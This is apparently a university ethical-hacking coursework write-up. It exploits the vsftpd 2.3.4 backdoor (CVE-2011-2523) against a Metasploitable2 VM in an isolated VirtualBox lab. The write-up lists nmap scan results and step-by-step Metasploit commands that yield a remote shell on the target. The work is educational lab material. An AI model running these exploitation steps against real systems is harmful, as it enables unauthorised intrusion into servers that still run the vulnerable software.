Ethical Hacking | Assessment 1

Practical Vulnerability Testing - CVE-2011-2523 (vsftpd 2.3.4 Backdoor)

Module: - Ethical Hacking University: London Metropolitan University Programme: BSc (Hons) Cyber Security and Forensic Science

Legal Disclaimer

All activities were conducted in a controlled, isolated virtual lab for educational purposes only. No real-world systems were targeted. All work complies with the Computer Misuse Act 1990.

Lab Environment

• Attacker OS: Kali Linux (Host)
• Attacker IP: 192.168.56.1 (vboxnet0)
• Target VM: Metasploitable2
• Target IP: 192.168.56.103
• Hypervisor: Oracle VirtualBox
• Network Mode: Host-Only (vboxnet0)

CVE Selected - CVE-2011-2523

• CVE ID: CVE-2011-2523
• Affected Software: vsftpd 2.3.4
• Affected Port: 21/tcp (FTP)
• CVSS v3 Score: 9.8 CRITICAL
• Attack Vector: Network
• Privileges Required: None
• Reference: https://nvd.nist.gov/vuln/detail/CVE-2011-2523

Nmap Scan Results

Port 21/tcp - vsftpd 2.3.4 (TARGET) Port 22/tcp - OpenSSH 4.7p1 Port 23/tcp - Linux telnetd Port 80/tcp - Apache httpd 2.2.8 Port 139/tcp - Samba smbd 3.X Port 445/tcp - Samba smbd 3.X Port 3306/tcp - MySQL 5.0.51a Port 6667/tcp - UnrealIRCd

Exploitation Summary

Step 1: nmap -sn 192.168.56.0/24 Step 2: nmap -sV 192.168.56.103 Step 3: msfconsole Step 4: use exploit/unix/ftp/vsftpd_234_backdoor Step 5: set RHOSTS 192.168.56.103 Step 6: set LHOST 192.168.56.1 Step 7: run Step 8: id && whoami

References

• MITRE (2011) CVE-2011-2523. https://www.cve.org/CVERecord?id=CVE-2011-2523
• NIST (2019) NVD CVE-2011-2523. https://nvd.nist.gov/vuln/detail/CVE-2011-2523